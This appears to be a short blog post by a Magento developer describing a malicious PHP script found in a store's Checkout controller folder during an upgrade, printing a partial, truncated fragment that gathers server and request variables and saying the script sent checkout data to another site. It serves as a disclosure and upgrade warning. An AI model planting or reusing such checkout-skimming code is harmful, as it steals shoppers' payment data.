Huh, this has been crazy week. I’ve been doing lot of Magento upgrades. Last night I upgraded one of sites to latest 1.3.2.4 Magento version (as of time of this writing). By pure accident I discovered a virus placed under the “app/code/core/Mage/Checkout/Controller” folder. It was in form of malicious php script named “81632.php” and “htaccess” file.
Below is a partial of malicious script
#... error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI); $d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF); $e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING); $f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER); $g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT); #... and the juicy part is cut of
The stuff was hooking to checkout process and sending data to another site. Luckily this was merely a development server, not a live site, so no actual damage was done.
For all Magento store owners, I would highly recommend immediate upgrade to latest Magento.
Magento 1.3.2.4 security update